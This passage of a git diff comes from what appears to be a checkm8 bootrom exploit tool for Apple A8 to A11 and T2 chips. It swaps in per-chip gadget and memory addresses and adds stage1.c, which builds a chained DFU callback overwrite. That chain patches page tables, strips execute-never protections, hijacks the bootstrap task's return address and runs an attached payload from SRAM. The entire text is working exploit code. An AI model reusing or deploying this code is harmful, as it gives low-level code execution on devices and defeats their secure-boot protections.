config->bootstrap_task_lr = 0x1800a9f68; + config->payload_start_offset = 0x800; break; case A9X: - config->tlbi = 0x100000404; - config->nop_gadget = 0x10000CD60; - config->ret_gadget = 0x100000118; - config->patch_addr = 0x100007668; - config->ttbr0_addr = 0x180050000; - config->func_gadget = 0x10000CD40; - config->write_ttbr0 = 0x1000003B4; - config->memcpy_addr = 0x1000106F0; - config->aes_crypto_cmd = 0x10000C9D4; - config->boot_tramp_end = 0x180044000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180047578; - config->dfu_handle_request = 0x18004C378; - config->usb_core_do_transfer = 0x10000DDA4; - config->dfu_handle_bus_reset = 0x18004C3A8; - config->insecure_memory_base = 0x180000000; - config->handle_interface_request = 0x10000E0B4; - config->usb_create_string_descriptor = 0x10000D280; - config->usb_serial_number_string_descriptor = 0x18004486A; + config->insecure_memory_base = 0x180000000; + config->func_gadget = 0x10000cd38; + config->write_prim2 = 0x100001a78; + config->arm_clean_invalidate_dcache_line = 0x10000043c; + config->arm_invalidate_icache = 0x100000418; + config->enter_critical_section = 0x100009b24; + config->exit_critical_section = 0x100009b88; + config->write_ttbr0 = 0x1000003b4; + config->tlbi = 0x100000404; + config->TTBR0_PATCH_BASE = 0x180004000; + config->TTBR0_BASE = 0x50000; + config->bootstrap_task_lr = 0x180059f58; + config->payload_start_offset = 0x800; + break; + case A9: + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x10000de0c; + config->write_prim2 = 0x100001bc0; + config->arm_clean_invalidate_dcache_line = 0x10000042c; + config->arm_invalidate_icache = 0x100000408; + config->bootstrap_task_lr = 0x1800c2f58; + config->payload_start_offset = 0xc0; break; case A9_TSMC: - case A9: - config->patch_addr = 0x10000812C; - config->ttbr0_addr = 0x1800C8000; - config->memcpy_addr = 0x100011030; - config->aes_crypto_cmd = 0x10000DAA0; - config->boot_tramp_end = 0x1800E1000; - config->ttbr0_vrom_off = 0x400; - config->ttbr0_sram_off = 0x600; - config->gUSBSerialNumber = 0x180087958; - config->dfu_handle_request = 0x1800878F8; - config->usb_core_do_transfer = 0x10000EE78; - config->dfu_handle_bus_reset = 0x180087928; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x10000F1B0; - config->usb_create_string_descriptor = 0x10000E354; - config->usb_serial_number_string_descriptor = 0x1800807DA; + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x10000de0c; + config->write_prim2 = 0x100001bc0; + config->arm_clean_invalidate_dcache_line = 0x10000042c; + config->arm_invalidate_icache = 0x100000408; + config->bootstrap_task_lr = 0x1800c2f58; + config->payload_start_offset = 0xc0; break; case A8X: - config->patch_addr = 0x10000AD04; - config->memcpy_addr = 0x100013F10; - config->aes_crypto_cmd = 0x100010A90; - config->boot_tramp_end = 0x1800E1000; - config->gUSBSerialNumber = 0x180088E48; - config->dfu_handle_request = 0x180088DF8; - config->usb_core_do_transfer = 0x100011BB4; - config->dfu_handle_bus_reset = 0x180088E18; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x100011EE4; - config->usb_create_string_descriptor = 0x100011074; - config->usb_serial_number_string_descriptor = 0x180080C2A; + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x100010df4; + config->write_prim = 0x10000ed5c; + config->arm_clean_invalidate_dcache_line = 0x100000448; + config->arm_invalidate_icache = 0x100000424; + config->bootstrap_task_lr = 0x1800c2f68; + config->payload_start_offset = 0xc0; break; case A8: - config->patch_addr = 0x100007E98; - config->memcpy_addr = 0x100010E70; - config->aes_crypto_cmd = 0x10000DA90; - config->boot_tramp_end = 0x1800E1000; - config->gUSBSerialNumber = 0x1800888C8; - config->dfu_handle_request = 0x180088878; - config->usb_core_do_transfer = 0x10000EBB4; - config->dfu_handle_bus_reset = 0x180088898; - config->insecure_memory_base = 0x180380000; - config->handle_interface_request = 0x10000EEE4; - config->usb_create_string_descriptor = 0x10000E074; - config->usb_serial_number_string_descriptor = 0x18008062A; + config->insecure_memory_base = 0x180380000; + config->func_gadget = 0x10000ddf4; + config->write_prim = 0x10000bc2c; + config->arm_clean_invalidate_dcache_line = 0x100000448; + config->arm_invalidate_icache = 0x100000424; + config->bootstrap_task_lr = 0x1800c2f68; + config->payload_start_offset = 0xc0; break; default: LOG_ERROR("CPID 0x%x is not supported!", cpid); @@ -228,6 +185,7 @@ bool checkm8_find_payload_configuration_for_cpid( static const yolo_payload_t yolo_payloads[] = { {A11, payloads_yolo_t8015_bin, payloads_yolo_t8015_bin_len}, + {T2, payloads_yolo_t8012_bin, payloads_yolo_t8012_bin_len}, {A10X, payloads_yolo_t8011_bin, payloads_yolo_t8011_bin_len}, {A10, payloads_yolo_t8010_bin, payloads_yolo_t8010_bin_len}, {A9_TSMC, payloads_yolo_s8003_bin, payloads_yolo_s8003_bin_len}, diff --git a/src/m8/payload.h b/src/m8/payload.h index dd3f2f5..f1e1a21 100644 --- a/src/m8/payload.h +++ b/src/m8/payload.h @@ -26,27 +26,20 @@ struct DeviceConfiguration { struct PayloadConfiguration { uint64_t - tlbi, - nop_gadget, - ret_gadget, - patch_addr, - ttbr0_addr, - func_gadget, - write_ttbr0, - memcpy_addr, - aes_crypto_cmd, - boot_tramp_end, - ttbr0_vrom_off, - ttbr0_sram_off, - gUSBSerialNumber, // ?? - dfu_handle_request, - usb_core_do_transfer, - dfu_handle_bus_reset, insecure_memory_base, - handle_interface_request, - usb_create_string_descriptor, - usb_serial_number_string_descriptor; - uint32_t payload_dest_armv7; + func_gadget, + write_prim, + write_prim2, + arm_clean_invalidate_dcache_line, + arm_invalidate_icache, + enter_critical_section, + exit_critical_section, + write_ttbr0, + tlbi, + TTBR0_PATCH_BASE, + TTBR0_BASE, + bootstrap_task_lr, + payload_start_offset; }; typedef struct { diff --git a/src/m8/stage1.c b/src/m8/stage1.c new file mode 100644 index 0000000..1235f7d --- /dev/null +++ b/src/m8/stage1.c @@ -0,0 +1,223 @@ +#include "stage1.h" + +#include +#include +#include +#include + +#include "payload.h" + +#define ARM_16K_TT_L2_SHIFT 25 // page descriptor shift + +// https://github.com/palera1n/openra1n/blob/main/checkm8.c#L398-L580 +bool generate_stage1( + void** outbuf, + size_t* outlen, + void* payload, + size_t payload_sz, + struct DeviceConfiguration *deviceConfig, + struct PayloadConfiguration *payloadConfig +) { + bool wnx = false; + uint64_t write_gadget = 0; + uint32_t write_val = 0; + + uint64_t base_address = payloadConfig->insecure_memory_base; + + if(deviceConfig->cpid == A9X || deviceConfig->cpid == A10 || deviceConfig->cpid == A10X || deviceConfig->cpid == T2 || deviceConfig->cpid == A11) + { + wnx = true; + } + + size_t presize = wnx == true ? 0x800 : 0xc0; + void *buf = malloc(presize); + + uint32_t nextOffset = 0; + unsigned char* nextBuf = NULL; + dfu_callback_t* cb = (dfu_callback_t*)buf; + nextBuf = buf; + + uint32_t current_size = 0; + int count = 0; + + #define PUSH(end, func, arg0, arg1) \ + { \ + count++; \ + current_size = nextOffset + sizeof(dfu_callback_t); \ + if(!(current_size > (wnx == true ? 0x800 : 0xc0))) \ + { \ + cb->callback = payloadConfig->func_gadget; \ + if(count%3 == 0) \ + nextOffset += 0x80; \ + else \ + nextOffset += 0x20; \ + if(!end)cb->next = base_address + nextOffset; \ + uint64_t* ptr = (uint64_t*)(cb); \ + uint32_t* ptr32 = (uint32_t*)(cb); \ + ptr[15] = func; \ + if(func == payloadConfig->write_prim) \ + { \ + ptr[14] = (uint64_t)(arg0 - 4); \ + ptr32[5] = (uint32_t)arg1; \ + } \ + else if(func == payloadConfig->write_prim2) \ + { \ + ptr[14] = (uint64_t)arg0; \ + ptr32[5] = (uint32_t)arg1; \ + } \ + else if(func == payloadConfig->write_ttbr0) \ + { \ + ptr[14] = (uint64_t)arg0; \ + } \ + else if(func == payloadConfig->arm_clean_invalidate_dcache_line) \ + { \ + ptr[14] = (uint64_t)arg0; \ + } \ + nextBuf = (unsigned char*)(buf + nextOffset); \ + cb = (dfu_callback_t*)nextBuf; \ + } \ + else \ + { \ + goto fail; \ + } \ + } \ + + if((deviceConfig->cpid == A11) || (deviceConfig->cpid == T2) || (deviceConfig->cpid == A8X) || (deviceConfig->cpid == A8)) + { + write_gadget = payloadConfig->write_prim; + } + else + { + write_gadget = payloadConfig->write_prim2; + } + + uint64_t vrom_address = 0x100000000; + uint64_t sram_address = 0x180000000; + uint64_t new_va = 0x142000000; // post-exploit + uint32_t vrom_off = (vrom_address >> ARM_16K_TT_L2_SHIFT) * 8; + uint32_t new_off = (new_va >> ARM_16K_TT_L2_SHIFT) * 8; + uint32_t sram_off = (sram_address >> ARM_16K_TT_L2_SHIFT) * 8; + + uint64_t sram_rx_va = 0x140000000; // execute payload + uint64_t sram_rw_va = 0x142000000; // custom ttbr + uint32_t sram_rx_off = (sram_rx_va >> ARM_16K_TT_L2_SHIFT) * 8; + uint32_t sram_rw_off = (sram_rw_va >> ARM_16K_TT_L2_SHIFT) * 8; + + uint64_t vrom_rw_va = 0x144000000; + uint32_t vrom_rw_off = (vrom_rw_va >> ARM_16K_TT_L2_SHIFT) * 8; + + if(wnx) // only A9X-A11 + { + // VROM: 0x100000000 + uint64_t vrom_bit = vrom_address | 0x6a5; + uint32_t vrom_bit_lower = (uint32_t)(vrom_bit & 0xffffffff); + uint32_t vrom_bit_upper = (uint32_t)(vrom_bit >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 0), vrom_bit_lower); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_off + 4), vrom_bit_upper); + + // Newp: 0x142000000 + uint64_t new_bit = sram_address | 0x621; // pa + new_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + new_bit |= (1uL << 53); // PXN + new_bit |= (1uL << 54); // XN + uint32_t new_bit_lower = (uint32_t)(new_bit & 0xffffffff); + uint32_t new_bit_upper = (uint32_t)(new_bit >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 0), new_bit_lower); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (new_off + 4), new_bit_upper); + + // Newp: 0x144000000 + uint64_t new_bit_2 = sram_address | 0x621; // pa + new_bit_2 |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + new_bit_2 |= (1uL << 53); // PXN + new_bit_2 |= (1uL << 54); // XN + uint32_t new_bit_lower_2 = (uint32_t)(new_bit_2 & 0xffffffff); + uint32_t new_bit_upper_2 = (uint32_t)(new_bit_2 >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 0), new_bit_lower_2); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (vrom_rw_off + 4), new_bit_upper_2); + + // SRAM: 0x180000000 + uint64_t sram_bit = sram_address | 0x3; + sram_bit |= (1uL << 63); // NS + if(deviceConfig->cpid == A11) sram_bit |= 0x10000; + if(deviceConfig->cpid == T2) sram_bit |= 0x10000; + if(deviceConfig->cpid == A10X) sram_bit |= 0xa4000; + if(deviceConfig->cpid == A10) sram_bit |= 0xa4000; + if(deviceConfig->cpid == A9X) sram_bit |= 0x54000; + uint32_t sram_bit_lower = (uint32_t)(sram_bit & 0xffffffff); + uint32_t sram_bit_upper = (uint32_t)(sram_bit >> 32); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 0), sram_bit_lower); + PUSH(0, write_gadget, payloadConfig->TTBR0_PATCH_BASE + (sram_off + 4), sram_bit_upper); + } + + if(wnx) + { + write_val = (uint32_t)(((base_address & 0x01FFFFFF) | (sram_rx_va & 0xffffffff)) + payloadConfig->payload_start_offset); + } + else + { + write_val = (uint32_t)((base_address & 0xFFFFFFFF) + payloadConfig->payload_start_offset); + } + PUSH(0, write_gadget, payloadConfig->bootstrap_task_lr, write_val); + + if(wnx) // only A9X-A11 + { + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (vrom_off & ~0xff), 0); + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (new_off & ~0xff), 0); + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, payloadConfig->TTBR0_PATCH_BASE + (sram_off & ~0xff), 0); + } + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, base_address + payloadConfig->payload_start_offset, 0); + PUSH(wnx == true ? 0 : 1, payloadConfig->arm_invalidate_icache, 0, 0); + + if(wnx) // only A9X-A11 + { + uint64_t sram_rx_bit = sram_address | 0x6a5; + uint32_t sram_rx_bit_lower = (uint32_t)(sram_rx_bit & 0xffffffff); + uint32_t sram_rx_bit_upper = (uint32_t)(sram_rx_bit >> 32); + + uint64_t sram_rw_bit = sram_address | 0x621; + sram_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + sram_rw_bit |= (1uL << 53); // PXN + sram_rw_bit |= (1uL << 54); // XN + uint32_t sram_rw_bit_lower = (uint32_t)(sram_rw_bit & 0xffffffff); + uint32_t sram_rw_bit_upper = (uint32_t)(sram_rw_bit >> 32); + + uint64_t vrom_rw_bit = vrom_address | 0x621; + vrom_rw_bit |= (deviceConfig->cpid != A9X ? (1uL << 2) : (2uL << 2)); + vrom_rw_bit |= (1uL << 53); // PXN + vrom_rw_bit |= (1uL << 54); // XN + uint32_t vrom_rw_bit_lower = (uint32_t)(vrom_rw_bit & 0xffffffff); + uint32_t vrom_rw_bit_upper = (uint32_t)(vrom_rw_bit >> 32); + + PUSH(0, payloadConfig->enter_critical_section, 0, 0); + PUSH(0, payloadConfig->write_ttbr0, payloadConfig->TTBR0_PATCH_BASE, 0); + PUSH(0, payloadConfig->tlbi, 0, 0); + + PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 0), vrom_rw_bit_lower); + PUSH(0, write_gadget, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off + 4), vrom_rw_bit_upper); + + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 0), sram_rx_bit_lower); + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off + 4), sram_rx_bit_upper); + + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 0), sram_rw_bit_lower); + PUSH(0, write_gadget, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rw_off + 4), sram_rw_bit_upper); + + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, vrom_rw_va + payloadConfig->TTBR0_BASE + (vrom_rw_off & ~0xff), 0); + PUSH(0, payloadConfig->arm_clean_invalidate_dcache_line, sram_rw_va + payloadConfig->TTBR0_BASE + (sram_rx_off & ~0xff), 0); + PUSH(0, payloadConfig->write_ttbr0, sram_address + payloadConfig->TTBR0_BASE, 0); + PUSH(0, payloadConfig->tlbi, 0, 0); + PUSH(1, payloadConfig->exit_critical_section, 0, 0); + } + + *outlen = payload_sz + (wnx == true ? 0x800 : 0xc0); + *outbuf = malloc(*outlen); + + memset(*outbuf, 0x0, *outlen); + memcpy(*outbuf, buf, wnx == true ? 0x800 : 0xc0); + memcpy(*outbuf + (wnx == true ? 0x800 : 0xc0), payload, payload_sz); + if(buf) free(buf); + return true; + +fail: + if(buf) free(buf); + return false; +} diff --git a/src/m8/stage1.h b/src/m8/stage1.h new file mode 100644 index 0000000..ed7cc7e --- /dev/null +++ b/src/m8/stage1.h @@ -0,0 +1,31 @@ +#ifndef STAGE1_H +#define STAGE1_H + +#include +#include + +#include "payload.h" + +typedef struct +{ + uint32_t endpoint, pad_0; + uint64_t io_buffer; + uint32_t status, io_len, ret_cnt, pad_1; + uint64_t callback, next; +} dfu_callback_t; + +typedef struct +{ + dfu_callback_t callback; +} checkm8_overwrite_t; + +bool generate_stage1( + void** outbuf, + size_t* outlen, + void* payload, + size_t payload_sz, + struct DeviceConfiguration *deviceConfig, + struct PayloadConfiguration *payloadConfig +); + +#endif // STAGE1_H